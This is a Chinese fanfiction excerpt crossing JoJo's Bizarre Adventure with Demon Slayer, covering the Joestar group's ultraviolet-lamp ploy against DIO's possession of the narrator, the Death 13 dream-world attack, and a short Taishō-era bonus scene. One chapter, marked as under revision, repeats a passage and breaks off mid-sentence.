乔瑟夫还在回味刚刚的变形,与阿布德尔感慨“oh my god”;承太郎和花京院正在和那个黑发女人探讨着变形能力能干什么。
不对啊,所以说.....
“等等!”波鲁那雷夫左看看,右看看,吞了口唾沫,心中有了个猜想,“难道,难道大家早就知道了她的身份,只是瞒着我吗?”
那边热闹的探讨活动停了一瞬间,就像突然卡壳了。
“波鲁那雷夫,她的身份比较特殊,目前她还有着dio的信任,所以我们一直隐瞒着她的身份,就是希望能够在关键时候给dio致命一击。”乔瑟夫·乔斯达看向波鲁那雷夫,那双充满智慧的眸子认真地看着波鲁那雷夫。
那个黑发女人点了点头,微微拉下了自己的领子,露出了锁骨的半根肉芽,“抱歉,我并不是故意辜负你的信任的,只是目前情况确实有些棘手,我还保留着一定肉芽,因为特殊原因我在肉芽控制下保持着自我意识。但是有时就连我的躯体有时也会被dio夺取。”
只需要看到那肉芽,波鲁那雷夫就能明白了。
那种恶心的感觉,莫名的恐惧,绝对是dio的肉芽没错。
虽然她是凭借什么能在dio的肉芽下有自我意识的,但是,“所以,你也是我们的同伴吗?”
黑发女人楞了一下,收回了拉下领子的手,将同伴这个词无声地再口中咀嚼了一番,而后才郑重其事地点了点头。
波鲁那雷夫收回[银色战车],从鼻子中哼出一口气。虽然这个家伙怪怪的,还喜欢扮成女人的样子,但是看她眼神这么认真,他就勉强认可了吧。
“好吧,我是不会和同伴计较这个的。”虽然是这么说,波鲁那雷夫还是哼哼唧唧了好一会,直到大家乔瑟夫和“月彦”猛夸只有波鲁那雷夫才能做出迷惑敌人的姿态才罢休。
波鲁那雷夫收了收因为吹捧而不可抑制上扬的的嘴角,顿了顿,“不过一个队伍里出现两个波鲁那雷夫绝对会引起怀疑的吧,我们该怎么办呢?”
“哦,这个情况倒是很棘手,不过根据我刚刚的试验,我们或许能有新的尝试,这样子我和波鲁那雷夫都能安然呆在队伍中。”黑发女人的脸上露出了有些微妙的表情。
众人沉默了一会,都点了点头。
“不错嘛,好主意。”
“oh my god,绝妙的点子,你简直是天才。”
听着大家兴奋的声音,波鲁那雷夫陷入沉思。
不是,他
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刚刚漏掉了什么吗?
*
开罗的公馆内,dio在依旧舒适地靠在椅子上。他很喜欢这个位置,适合翻看一些书籍。他的夜视能力很好,即使在昏暗的灯光下也能顺利地阅读书籍。
虽然现在因为被爬虫窥视而转换了一个地方,但是这里的布局依旧如前,让他满意。dio将膝上的书翻了一页,手指轻轻叩了一下书页。
他有些心不在焉。
dio椅子的旁边,以往恩雅所在的地方,此时一个健硕的男人乖顺地半跪在角落,他手上捧着一个电话,等着dio的传唤。
按照以往的时间点,“月彦”应该向他汇报工作才对。
这在过去几日都雷打不动,虽然“月彦”这家伙作为眼睛来说收集的情报都显得稀奇古怪的,但是她毕竟成功混入了乔斯达中,应该能掌握众多的一手情报。
而在微小的情报都有其价值所在,从一个人的生活作息、饮食习惯也能对人物进行描摹,理解他的性格和精神状态。替身,本就是精神的外在表现。
因此即使dio手下的替身使者都对“月彦”提供的呕吐式混乱情报摸不着头脑,但是dio依旧放任她继续行事。
虽然还没有与空条承太郎他们见面,但是他确实已经在脑中描摹出了对手的姿态--运气很好的一群弱者。
是的,运气有些太好了。
他已经派出【女帝】和【女教皇】,但是依旧没有能使得乔斯达的队伍中再减员。
即使“月彦”已经顶替了波鲁那雷夫的身份,但据他之前描述,由于自己一直不敢显示替身【银色战车】,因此已经隐隐遭受怀疑了。
这点的紧迫性倒是提醒了dio。
他有自信,如果乔斯达一伙人到开罗,在他留着“月彦”这个后手的情况下,他能将他们完全歼灭。
因此,即使恼火于“月彦”的无用,他也不至于让他做一些危险的容易被怀疑的事。
只不过, “瓦尼拉·艾斯,“月彦”还没传来消息吗?”
突然失联是一种危险的信号,dio的手指再次叩了下书本,这回的声音更重了一些。
“还没有,dio大人,需要我再去问一下达比吗?”瓦尼拉·艾斯依旧恭敬,声音里甚至带着虔诚。
外来的电话都是通过达比手下的一个黑客天才进行转接的,他设置的程序使得外来替身使者打进的电话不会被追踪。
虽然不明白现代科技的原理,但是dio觉得不会是这个原因。
还是得去亲自查看。dio本能地意识到了有什么东西可能超出了他的控制。
他选择了在这个时候进入“月彦”的身体,他要看看那里究竟发生了什么!
dio合上了眼,好似只是假寐。
瓦尼拉·艾斯依旧恭敬地半跪着,却突然听到一声怨毒的高呼!
“这群卑贱的家伙!”
他错愕地抬头,看向不知何时睁开了眼的dio。
那张以往运筹帷幄的脸上,惊魂未定。
以至于瓦尼拉·艾斯根本没留意在那闭眼的短暂时间中,dio的的眼皮曾轻微颤动。
71.修改ing
“唔,没想到这样真的可行。”
我在房间内睁开眼睛,低头向四周望去,无论是床上、身下、旁边的桌子上都没有找到什么突然出现字迹的小纸片。
房间内布满紫光,有一种诡异的绚丽感。
当然,这可不是什么qing趣酒店的氛围灯,这是大型紫外线照射仪中发射出的光线。
我对着房间角落里的小型摄像头点了点头,笼罩在房间内的紫光顿时消失。
感谢spw财团和乔斯达不动产的大力援助,这样的大型紫外线照射仪也能说搞来就搞来,吸血鬼用了都说好。
虽然我不需要扮演碟中谍,已经与乔瑟夫·乔斯达等人合作准备一起打败dio,但是dio偶尔能上我身这点对于整个队伍来说还是太危险了。
一旦他上我身的时候,我周围有几个落单的同伴,dio就可能用他那神秘莫测的替身能力直接将对方绞杀。
这样别说去开罗了,恐怕半路我就成为队伍中的唯一幸存者了。
但是,想要处理dio上身的情况十分困难。
首先,上身的主动权并不在我手里,我不知何时何地会被dio强行占据身体。
其次,我现在至少还得装作是还受肉芽控制,一副誓死追随dio的样子,因此,我无法直接提出甚至表现出抗拒dio上身的态度。
再加上,我虽然装作了已经干掉了波鲁那雷夫,但是近五日dio派出的替身使者都铩羽而归,恐怕又在dio心中种下了怀疑的种子。
而且算算路程,如果我们依旧选择普通的出行方式了话,一星期之内绝对能到达开罗。对于dio而言,这绝对不是一个好消息。
哎!打工打工,打得连躯体都没了!又不是dio能附身替我干活!
带着这样的怨气,我在前往下一个城市的路上就提议乔瑟夫·乔斯达多买一些大型紫外线照射仪在开罗备着,作为秘密武器给一个邪恶剥削吸血鬼一点来自紫外线的制裁看看。
老实说,当年要是有这玩意背刺鬼舞辻无惨就简单多了。
咦?等等。
一瞬间,我忽然福至心灵,某种奇妙的猜想在我脑中浮现。
“乔斯达先生,我忽然有个想法。”我看向乔瑟夫·乔斯达,难以抑制自己的兴奋。
“酒店里需要消毒很正常吧,既然要消毒,有点紫外线消毒仪应该也很正常吧?”
刚给spw财团打完电话的乔瑟夫·乔斯达看向我,思索了一瞬,就瞪大了眼睛,“我明白你的意思了,这样确实比较自然,而且一旦dio他在这时附身,也无法察觉你的动机。”
“喂,老头子,你们疯了吗?”空条承太郎皱了皱眉,看向了我,“你又不能确定他什么时候会来,长时间在紫外线照射仪下可不妙。”
“嘛嘛,我应该是能创造一个时机出来,紫外线了话我也能有相对的应对措施。”我思考了片刻,问问花京院典明能不能帮我买一点彩妆。
“哎?你还要化妆吗?你现在可是蛇唉?”波鲁那雷夫坐在后座,一只手还想伸过来摸我。
我毫不犹豫给了他一尾巴,“你要不想一想,dio上身的时候我可是要变成你的样子啊?”
波鲁那雷夫看着手上的红痕,小声嘟囔,“所以呢?”
所以?
花京院典明已经明白过来,看向了还不明所以的波鲁那雷夫,叹了口气,轻轻拍了拍他的肩膀。
“波鲁那雷夫,化妆的应该是你啊。”
“唉?”
*
房间门外传来门铃声,我打开门,看见了拿着冰袋和某种保湿乳液的花京院典明和空条承太郎。
“他来过了,不过显然紫外线灯光对于吸血鬼太超过了,我想他至少在一小时内是不会再尝试上身了。”没等他们说话,我就先介绍了一下目前的情况。
“呀嘞呀嘞,没想到仅仅是灵魂都会受到影响吗?”空条承太郎按下帽檐,眼睛打量着我周身的皮肤。
“镜头中确实看出他来过。你突然闭眼,然后迅速睁眼,身体似乎僵直了半秒钟。”
花京院典明将手上的冰袋和保湿乳液递过来,“虽然说现在看不出什么迹象,但还是用上冰袋和乳液吧,即使是10分钟的紫外线照射也不能轻视啊。”
虽然我想说没必要,但是花京院典明的脸上倒是很认真的神情,我看着他在半空中的手,还是收下了。
“那我就不客气地收下了。”我将冰袋贴在脸上,又看向两位万年学生制服的替身使者,“所以,最后是谁帮波鲁那雷夫画晒伤妆的呢?”
花京院典明似乎想起了什么好笑的事,眼睛中泛上笑意,“乔斯达先生的手法实在是.....”
“呀嘞呀嘞,老头子还说什么手艺不减当年。”空条承太郎压低了帽子,皱着眉头,微微摇了摇头。
他们这将说不说的心态直接将我好奇心拉满,我关上房门,跟着他们走到了乔瑟夫·乔斯达的房间。
一关上房门,我就直接变为一只mini蛇,确保一空间一个波鲁那雷夫原则。
波鲁那雷夫坐在床上,只能看见他健壮的背影。
乔瑟夫·乔斯达对我打了个招呼,又看了一眼沉默的波鲁那雷夫,挑了挑眉头,似乎在憋住自己体内上蹿下跳的笑意。
“好啦,波鲁那雷夫,快让月彦看看我化的怎么样,还有没有需要改进的地方?”
乔瑟夫·乔斯达的指尖还沾着彩妆的颜色,从哪个色号以及手上颜色的深度,我都能想象他的作品是怎样一张猴屁股了。
波鲁那雷夫似乎一屁股扎在那了,一动不动,似乎显示着他最后的尊严。
但是,这显然没有用,阿布德尔装作不经意地调整了一下桌上镜子的位置,让我成功地窥见了“镜中美人”。
“噗!”我实在没忍住,笑了出来。波鲁那雷夫猛地拍着大床,扭过身来
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,谴责的目光直接看着我。
虽然他的表情很委屈,但是由于这个妆容太酷似猴屁股冲击太大,不光是我,我身后的花京院典明和空条承太郎也忍不住噗嗤笑出声来。
眼看波鲁那雷夫眼中噙着泪,已经要恼羞成怒了,我连忙跳到床上,“刚刚他已经来过了,就他这回没有留下什么命令的情况来看,即使是在我的身体内,dio也无法面对紫外线。”
“虽然也有可能是因为dio身边所在的能隔空侧写下命令的替身使者不在身边。如果真有这样的人替身在,那应该适合我[紫色隐者]一样的替身吧。”
这样说来我们的爆破公馆+紫外线仪计划大有可为。nice!
“他来过了,不过显然紫外线灯光对于吸血鬼太超过了,我想他至少在一小时内是不会再尝试上身了。”没等他们说话,我就先介绍了一下目前的情况。
*
房间门外传来门铃声,我打开门,看见了拿着冰袋和某种保湿乳液的花京院典明和空条承太郎。
“他来过了,不过显然紫外线灯光对于吸血鬼太超过了,我想他至少在一小时内是不会再尝试上身了。”没等他们说话,我就先介绍了一下目前的情况。
“呀嘞呀嘞,没想到仅仅是灵魂都会受到影响吗?”空条承太郎按下帽檐,眼睛打量着我周身的皮肤。
“镜头中确实看出他来过。你突然闭眼,然后迅速睁眼,身体似乎僵直了半秒钟。”
花京院典明将手上的冰袋和保湿乳液递过来,“虽然说现在看不出什么迹象,但还是用上冰袋和乳液吧,即使是10分钟的紫外线照射也不能轻视啊。”
虽然我想说没必要,但是花京院典明的脸上倒是很认真的神情,我看着他在半空中的手,还是收下了。
“那我就不客气地收下了。”我将冰袋贴在脸上,又看向两位万年学生制服的替身使者,“所以,最后是谁帮波鲁那雷夫画晒伤妆的呢?”
花京院典明似乎想起了什么好笑的事,眼睛中泛上笑意,“乔斯达先生的手法实在是.....”
“呀嘞呀嘞,老头子还说什么手艺不减当年。”空条承太郎压低了帽子,皱着眉头,微微摇了摇头。
他们这将说不说的心态直接将我好奇心拉满,我关上房门,跟着他们走到了乔瑟夫·乔斯达的房间。
波鲁那雷夫坐在床上,只能看见他健壮的背影。
乔瑟夫·乔斯达对我打了个招呼,又看了一眼沉默的波鲁那雷夫,挑了挑眉头,似乎在憋住自己体内上蹿下跳的笑意。
“好啦,波鲁那雷夫,快让月彦看看我化的怎么样,还有没有需要改进的地方?”
乔瑟夫·乔斯达的指尖还沾着彩妆的颜色,从哪个色号以及手上颜色的深度,我都能想象他的作品是怎样一张猴屁股了。
波鲁那雷夫似乎一屁股扎在那了,一动不动。
强打起精神,尽量以平静的口吻说
72.死神十三(1)
是小孩啊,我看了一眼,便收回视线。
刚刚和乔斯达先生交流了一下情报,现在就回房间里好好休息吧。虽然这家酒店房间比较小,但还有客房送餐服务,等睡上个一小时左右就能吃些东西了。
然后等吃完东西再晚些向dio汇报就行了。
真不愧是我,时间管理大师。内心默默夸赞自己,我打开了房门,看着那个妇人抱着婴儿站在了我隔壁房间的门前。
原来住的这么近吗?真希望小孩子晚上不要哭闹才好。
这个带着孩子的妇人住的地方就在我的房间与乔斯达先生、阿布德尔的中间,承太郎和花京院的房间在乔斯达先生的正对面。
至于波鲁那雷夫,乔装打扮后住在了另外的楼层。
一想到波鲁那雷夫的猴屁股脸,我有些想笑。不过我在离开前还是调整了一下乔斯达先生为波鲁那雷夫上的妆,毕竟我也不想顶着这样的猴屁股到处乱晃。
憋着笑,我进了房间,带上房门,直奔大床。
看着那个身上带着晒伤痕迹的银发男人进了房间后,抱着婴儿的妇人下意识地舒了一口气。
她打开房门,径直将婴儿放在了床头处。床头紧贴着墙壁,与隔墙的房间里的床只有一道墙的距离。
高高的枕头像是柔软的云朵托着婴儿,那个婴儿发出“咯咯”的轻笑。
妇人见状,也露出了一个笑容,随后便快步走出了房间,将其合上,并将其和隔壁以及对门的房间门口的标识设置为[请勿打扰]。
完成了这些动作后,她就走下楼梯,然后径直离开了酒店。
酒店外夜色已深,夜晚的凉风轻浮她的面颊,她微微瞪大了眼睛,回头看向身后的酒店。
“奇怪,我怎么走到这里了?”
微凉的夜风里,没人回答。
这个时间点,正是众人睡觉的时间点。
不过,有些人的睡眠质量特别好,沾枕即睡。
躺在高高的床头枕上的小婴儿双眼紧闭,似乎已经进入了梦乡,只是他的眉头确实紧紧蹙起的,就像是在烦着什么。
这个年纪的孩子也有烦恼吗?
替身为[死神13]的替身使者告诉你,当然有。
自从那个黑发女人进入他构建的梦境世界后,他就无时无刻不感到烦躁。
梦境世界是一个色彩瑰丽的巨大游乐场,游乐设施一应俱全。
自从那个女人从海盗船上醒来后,她的嘴巴似乎就没停过。
“唔,我怎么会梦见游乐园,而且还是加了梦核滤镜一样。让我试试给自己周O解梦一下,难道这象征着我对于多彩生活的向往吗?”
她的手轻轻抚摸着海盗船,就像在抚摸着一只小猫一样。
“唔,话说我还没去过游乐园,没想到梦境还能构建得这么齐全,看起来跟以前广告里看到的迪OO的没什么两样嘛!”不知为何,她的眼中闪着某种憧憬。
等等,这家伙真的是他们这边的人吗?真的是dio大人的手下吗?
在自己构筑的梦境世界中,[死神十三]能清晰地观察到那个女人是如何在“她的”梦中许愿什么迪OO的套餐,兴高采烈地吃完后又很自觉的跑到了跳楼机、大摆锤、过山车上游玩。
竟然全然将这里当做了度假胜地!
这简直是在挑衅[死神十三]的尊严。
在看着那个女人直奔过山车后,[死神十三]选择弄坏所有的安全带。
结果那个女人在检查了所有安全带后依旧兴致勃勃地坐上了作为,只是用手拉着扶手。
“呜呼,开始吧。”
[死神十三]带着威尼斯面具下的脸黑了。不行,他一定要让这个女人感受到[死神十三]的恐怖。
过山车以着缓慢的速度攀爬至最高点,那个黑发女人还在兴奋地左顾右盼,将整个游乐园尽收眼底。
还是太年轻了。
[死神十三]打了响指,过山车向下的轨道的中间顿时消失了三分之一。突然消失的轨道,再加上没有安全带,这还吓不死她?
过山车缓缓爬过巅峰,积蓄的势能转化为动能,整个过山车如同离弦的俯冲下去,即将就要经过那个断口。
只要不眼瞎,都能看见那个断口。
可是预料之中的惊叫并没有传来,那个女人依然带着一种乐呵呵的傻笑,甚至还在高呼“欧耶”。
不是,等等,她是傻子吗?
[死神十三]呆滞了一瞬间,看着由于高速俯冲将被甩出的女人整个人飞起,只是手还抓着扶手,又以一个诡异的角度坐了回去,嘴里还高呼着“真是刺激啊”。
她果然不太聪明吧,是仗着自己的身体素质较好才能在dio大人的手下工作吧。
他虽然一开始并没有打算把这家伙拉进来,因为他根本不想和这些所谓的同事,他[死神十三]在梦境世界中是最强者,根本不需要任何人配合。
只是,谁叫她睡得最快,在等着乔瑟夫他们睡的时间实在是太漫长了,他觉得无聊才打算来戏耍一下这家伙的。谁知道反而自己被她烦的要命。
真是的,杀又不能杀。
[死神十三]皱着眉,忽然感觉附近也有人进入睡眠状态,不由眉头舒展。
先把这女人支开,别让一个傻子坏了他[死神十三]大人的大计。
他打了个响指,顿时一个鬼屋出现在刚从过山车上下来的黑发女人面前。
那个女人似乎不对鬼屋感冒,正打算绕路就走。
[死神十三]咬了咬牙,再打了一个响指,看起来阴森恐怖的鬼屋前挂起了红色的横幅,上面赫然写着“内含解密抽奖,成功者可获得最高奖金xxx元”。
本来已经迈开步子的女人抬起了头,凝视了这横幅不到半秒,便以一种飞一般的速度直奔鬼屋。
果然,这家伙只是个傻子。
嘴中哼唧一声,[死神十三]看着在地面上醒来的乔瑟夫·乔斯达、花京院典明、空条承太郎、阿布德尔,直接显现出身影。
脸带威尼斯狂欢节面具,身披斗篷,背上带着一个一把巨大的镰刀的像是幽
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灵一般的东西,即使再一个梦幻的游乐场中,也丝毫不能消减其带给人的惊悚感。
或者说,这显得更加诡异了。
“是替身攻击吗?”乔瑟夫·乔斯达身上还穿着睡衣,他看了看同样身穿睡衣的同伴,面露警惕。
这话,虽然是疑问句,但乔瑟夫·乔斯达已经能基本确定这个事实了,尤其,是那诡异的背着镰刀的身影还在围着他们打转。
“乔斯达先生/老头子,小心一点!”空条承太郎和花京院典明打量着诡异的四周,将乔瑟夫·乔斯达环在中间。
“但是,这样的地方,我们是什么时候到来的呢?”阿布德尔也站在外侧,嘴唇微颤。
能无声无息将他们所有人转移,这简直是再恐怖不过的能力。
“容我先探查一番,[法皇之緑]!”花京院典明振臂高呼,然而,以往翠绿的替身并未出现,花京院典明的身侧,依旧空荡荡。
绝对不对劲!众人心中同时划过这样的一个念头。
“[紫色隐者]/[红色魔术师]/[白金之星]!”
即使再如何呼唤,但是替身就像断网了一般,毫无响应。
“嘻嘻嘻嘻嘻嘻,白痴吧你们,还想在梦境里召唤替身吗!”
那个站在半空中的身影似乎觉得一群人高呼着替身的样子十分滑稽,他俯冲而下,在3米高的位置停下,身后的镰刀划出了一个满月。
“这是本大爷的世界,你们全部都在梦境中啦哈哈哈哈哈!”[死神十三]看着呆若木鸡的众人,纵使带着威尼斯狂欢面具,但是众人还能感觉到他面具下一定眉飞色舞。
“梦境吗?”花京院典明沉吟片刻,低头张望。
可是地上连一块石子都没有,他没法随手拾取什么进行攻击尝试。
花京院典明轻轻扣下了睡衣的扣子,藏在身后。
空条承太郎也皱着眉,盯着[死神十三]身后的镰刀。
没人回应[死神十三]。似乎不满意他们这般死鱼般的表现,幽灵模样的替身一手托着脸,紧紧盯着乔瑟夫·乔斯达。
“真是无趣的一群大人啊,看来你们还没了解到我[死神十三]的厉害之处啊。”
随着他的话语落下,他们的周围突然出现了无数个南瓜头,里面放着wrywry的叫声。
难道就是这样?
隔空出现东西是很吓人,但会怪叫的南瓜头这种就像小孩子的恶作剧一般。但如果仅仅于此也没什么。
在场的人看着南瓜头,一时间心情微妙。
就在所有人心中都稍微松了一口气的时候。
乔斯达·乔瑟夫的一只手缓缓抬起,然后,以迅雷不及掩耳之势扼上了他自己的脖子。
“什么!”空条承太郎试图尝试掰开乔瑟夫·乔斯达的手,但是此刻那只手却像是泰坦,蕴藏着无限的力量,无法撼动分毫。
乔瑟夫·乔斯达的脸也渐渐由于呼吸不畅而开始变得紫红,嘴巴痛苦地张着。
再这么下去,不用多久,他就会自己把自己掐死。
73.死神十三(2)
“难道是能直接控制我们自己的身体?不,即使在梦境世界里能达到这样的效果也太夸张了!”
而且,为什么偏偏是一只手?
花京院典明上前一步,掀开了乔瑟夫·乔斯达的袖子。
衣袖下面,冰冷的机械义肢映入眼帘。
这么说,这个自称[死神十三]的替身应该是能控制非生命体。
“乔斯达先生,快用你的波纹!”
听着花京院典明焦急的声音,乔瑟夫·乔斯达似乎恢复了一些神志。
“波纹疾走!”
随着这声从肺部挤出来的疾呼,一阵生命能量从乔瑟夫·乔斯达的手臂直接传导至紧紧束缚着他的机械义肢上。像是耗子遇见猫,机械义肢登时就解除了禁锢,无力地垂下。
“咳咳咳!”乔瑟夫·乔斯达大口大口地喘着粗气,眼神警惕地盯着半空中的那个替身。“小鬼,就算没有替身,我也能用波纹,你的计谋落空了。”
空条承太郎舒出一口气,目光深沉地盯着[死神十三]。
“可恶的老头!”看着这一幕,[死神十三]磨了磨牙齿,不爽地拿起身后那一人长的镰刀。
“虽然不知道波纹算什么东西,但是老头子,也就你一个人会这东西吧?”
[死神十三]抓着镰刀猛地俯冲向下,等到将要近身时,他就挥舞起那把巨大的镰刀。
“快躲开!”一看见那悬浮在半空的替身动了,空条承太郎高声示警,但是□□的速度怎么能比得上替身呢。
锋利的刀刃在人群间穿梭,阿布德尔避之不及,就在刀刃即将触碰到脖颈的时候下意识向后躲避。镰刀触到他脖颈间的金色串珠链条,扎入其中了一秒。
阿布德尔趁着这一秒闪开,但是脸上还是被拔出的镰刀带了一道浅浅血痕。
“看来纯金的硬度还是不够啊。”阿布德尔抹了一把脸上的血迹,惊魂未定。
“哈,那等从这里出去就换成合金的吧。”乔瑟夫·乔斯达看着脱险的同伴,松了一口气,又将目光移至闪身悬浮在半空中的[死神十三]。
这个替身,非常难缠!
在这个世界里,他们根本无法召唤替身。再加上[死神十三]身手灵活,又看不见本体,根本暂时无法想出破局的办法。
“哼哼哼,看起来你运气很好嘛?火鸡丑男!”[死神十三]抱着镰刀,居高临下地看着一群面色沉重的家伙。“在这个梦境世界,我可是无敌的存在。没有人会在睡着的情况下还带着替身,那就没有人能带着替身进入这个世界。”
梦境,他反复提到了梦境。
花京院典明不动声色,将自己的面部表情调整为一丝怀疑。他抱着手臂,看了四周的游乐场设施,摇了摇头,“你看起来确实很强,但就仅仅是梦境,那么只要我们醒来,你又能那我们怎么样呢?梦里发生的事情可都是假的。”
“哈?”[死神十三]弯下了腰,带着惊悚表情的威尼斯狂欢面具正对着花京院典明。
乔瑟夫·乔斯达看了一眼花京院典明,和他对视一眼,也接上了话。
“花京院,你说得对,而且这样的梦境世界一看就是个小鬼头构筑的,最多,也就不超过11岁吧。”
“老头子,你也太看得起他了,这家伙估计都还没断奶吧。”空条承太郎眼睛轻轻瞟了一眼空中悬浮的身影,嘴角露出了一丝轻蔑的笑。
平常面无表情的家伙做出这样的挑衅冲击力是很大的。
但是,超乎所有人的预料,本在花京院典明话后变得有些急的[死神十三]此时又站直了身体,看了一眼他们,将镰刀好似漫无目的劈向虚空。
“啦哩嚯”,随着镰刀的舞动,空中突然出现了一个小小的烟花,随着烟花爆炸,空中赫然留下了【笨蛋】的字迹。
“嘻嘻嘻嘻,所以我就说大人只是一群笨蛋啊。”[死神十三]简直笑弯了腰,“11岁,你还真是高估了我啊老头子。我确实还在吃奶哦,承太郎,人家~可只是一个11个月的小婴儿呢!”
[死神十三]一字一顿地说完这番话,为了观察自己话的轰动效果,还悬浮一周环视着他们的表情。
如愿看到他们惊讶的表情,[死神十三]又开始咯咯笑了起来,“毕竟你们都是笨蛋,怎么能明白一个11个月的天才呢?还有啊,我说,花京院,你也太小看梦境了吧,只要在梦里死了,外面的你们当然也就活不了了哈哈哈。”
“而且,根本不会有人叫醒你们哦。就算你们因为掉下床了醒来,也不会记得一点梦里的记忆哦!”[死神十三]说着,声音又变得有些娇羞起来,“不过作为11个月的天才,我还是觉得不要突然醒来比较好吧,不然就只能看着突然暴毙的同伴的尸体而哭吧哈哈哈哈哈!”
这话如同剑尖,抵住了所有人的脖子,没人能忽略他话中的恶意和隐藏的恐怖后果。
乔瑟夫·乔斯达和阿布德尔对视一眼,两人的表情都有些复杂。
波鲁那雷夫还在他们的房间里准备洗去脸上的妆容,如果按照这个替身使者说的了话,只要波鲁那雷夫能叫醒他们,那么就能得救了!
只是,如果没有事情,波鲁那雷夫会叫醒熟睡的同伴吗?
这个可能性也太小了。
“哈啾!”此时还呆在盥洗室的波鲁那雷夫打了个喷嚏。
他揉了揉自己的鼻子,看着镜中脸颊上涂着致死量腮红的自己,忍不住再打开水龙头用清水清洗自己的脸。
然而,一点用都没有。
“岂可修!乔斯达先生,这到底算是什么啊,根本洗不掉!”绝望的波鲁那雷夫走出盥洗室,正打算向乔瑟夫·乔斯达讨个说法。
然而一走出盥洗室,浅浅的呼吸声就叫波鲁那雷夫放轻了声音。
“什么嘛,没管我就先睡了吗?”他小声嘟囔着,叹了口气,正打算自我抢救一下,却瞥见了阿布德尔脸上有一抹血色。
波鲁那雷夫警惕地凑上前去,却发觉那只是个及其细小的口子。
“咦,难道现在还有蚊子吗?那我可得小心了。”波鲁那鲁夫自言自语,又看了一眼皱着眉头的乔瑟夫·乔斯达和阿布德尔,顺手给他们盖上了被子。
做完这一切后,他本打算再乔装一下就离开,但是,听着过道里偶尔的脚步声,又想起自己英俊的脸现在的姿态,波鲁那雷夫陷入了纠结。
干脆就在这里睡了算,反正现在dio的追兵还没赶上。波鲁那雷夫想着,看了一眼小小的沙发。
要不,就在这里将就一下吧?
与此时外面的祥和不同,梦境里的景象并不美好。
“说起来,你们喜欢怎样的死法呢?”[死神十三]颇有些烦恼,他此时已经站在了地上,大大的斗篷拖着地,镰刀也放在后面一起拖动,发出刺耳的声音。
但是没有人回答他。之前掉落在地上的南瓜头从鬼脸中吐出了南瓜籽。就像是什么童话故事般,南瓜籽迅速成长成了粗壮的藤蔓,牢牢捆绑住了四个人,带着点毛刺的叶子塞进了他们的嘴中,让他们根本不能说话。
[死
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神十三]像是才意识到他们不能说话,十分做作地一手捂嘴,“哎呀,差点忘记了你们现在不能说话,那么.....”他打了个响指,南瓜叶从花京院典明嘴中离开。
“来吧,花京院,你来给我提供点灵感吧,你究竟想选择怎么死呢?”
[死神十三]已经逐渐找回自己在主场的优势了,被那个傻子女人烦的痛苦终于散去,他看着花京院典明又恨又不敢开口的样子,忍不住放声大笑。
不过,就在此时,一道清冽的女声带着点疑问的口吻从他背后传来。
“咦,怎么这么多人?”
[死神十三]转头,就看见那个可恶的黑发女人正捧着一个纯金的像是莲花形状的东西,眼睛一眨不眨地盯着这里。
“不是吧,我内心有这么重口吗?多人加上这种play?啧,这样我都应该担心一下自己的心理健康了,真是糟糕啊......”黑发女人边说,一般摸着纯金的莲花宝座,就像这是什么能安抚心灵的东西一样。
花京院典明瞳孔一缩,“你......”
他刚吐出一个字,视线又触及了[死神十三]的身影,他提高了自己的音量,将什么东西砸向[死神十三]。
“虽然不知道你是谁,但是你要小心了!我们遭到了一个11个月的小婴儿替身攻击,梦境收到的伤害会直接反馈到现实。而且一离开梦境有关梦境的记忆就会消失,你还是要--”
还没等他话说完,南瓜叶又堵住了他的嘴。
“花京院,你还真是热心啊。”
[死神十三]侧身躲过了不痛不痒的攻击,看着花京院典明,又看看没什么表情还打算碎碎念的黑发女子,觉得头又开始疼了。
“哼,反正你们肯定要死了,我就替你们揭秘吧,铛铛铛!”
有礼花掉落在黑发女人的头上,[死神十三]绕着黑发女人转了个圈,“这家伙也是dio大人的手下哟,惊不惊喜呢?不过能被这个傻子骗你们确实也没多聪明嘛。”
“咦,所以说,我不是在做梦对吧?”女人看了一眼花京院典明,又收回视线。
“当然不是啊,你个蠢货。”[死神十三]打了个响指,女人手中的黄金瞬间消失。
女人的视线瞬间变得冰冷,让[死神十三]莫名胆怯。
“真是奇怪,怎么还有喜欢自己加班的人呢?dio没有和我说你会来啊?”
“哼,难道一定要人安排吗?你还真是不开窍啊,只要我成功击杀了他们,我就能直接坐拥赏金哦。反正[死神十三]是无敌的,等完成任务,我再去见dio就行了,说起来,我说不定比dio还强呢?”
听着[死神十三]的咕哝,女人的眼微沉,她正迈步向他走去,身影却突然消散。
“已经醒了吗?”[死神十三]松了口气,又转头向着身后走去,“来吧,要不试试被东西撑死呢?很有创意吧?”
*
“叮咚。”
听见了门铃声,我火速睁开了双眼,从床上爬起来。
这一觉睡得还挺踏实的,虽然不知道为什么醒来有些怅然若失的感觉,应该是因为还没吃夜宵吧。
等着吃完夜宵,再装模作样向dio汇报一下工作,就可以好好休息了!
这么想着,我透过猫眼观察外面的景象。外面果然是一个侍者推着带着夜宵的小推车。
我兴致冲冲地打开门,突然,有什么东西从我手中掉落。
我低头一看。
那是--一颗纽扣?
74.[加更]鬼灭大正if2[番外]
我突然觉得自己脖子凉凉的。
应该是衣服穿的太少了吧。我一只手拿着书,另一只手向后探去,准备捂捂自己的后颈,却感觉碰见了什么冰冷的东西--简直冷的像冰块一样。
我一时间感觉头发竖了起来,猛地转头向后看去,却见那个少爷站在离我两米远的距离,正一脸不爽地看着我。
咦?没有别人吗?
我看了看那位少爷,又看了看四周。这个不大的书房确实只有我们两个人。
“少爷您刚刚有看见什么奇怪的东西吗?”我放下书,试图站起来寻找可能存在的第三者,就被叫停了。
“蠢货,根本没有什么奇怪的东西,你不会是想偷懒吧。”他说着,向我投来质疑的眼神。
经过这段时间的打工,我的耳朵早已经能自发过滤那些“蠢货”/“傻子”等词了,倒也不是我宽宏大量,只是这些词在这个少爷口中出现得太平常了,在我心中已经和语气词没差别了。
你要是不说,我还没想到有这重影响呢......
我颇有些无语地收回视线,眼神探查过这个房间的所有角落后,还是安安静静继续盘腿看书了。
没有人了话那应该就是鬼吧,毕竟霓虹常出这种传闻。
我又翻了一页纸,无视后面紧紧盯着我背后的眼神。
房间外传来乌鸦的叫声,小小的书房内,刚从外国传来的钨丝灯散发着明亮的光。从某种意义上来说,也算是个适合学习的环境。
反正我现在是穷鬼,还能怕什么别的鬼呢?只要当好我的唯物主义者,老老实实赚自己这一点钱就好了。
等我把这些书整理好了,我才不要受这打工的气呢!
这个信念使我平添了一股力量。
拿着未来的美好期许当着胡萝卜挂在自己身前,我又自发开始拉磨了。
鬼舞辻无惨转头,皱着眉头,视线穿过了木门,直直盯着那只栖在树上的乌鸦。
产屋敷家的眼线,呵,竟然查到这里了吗?真是恶心。
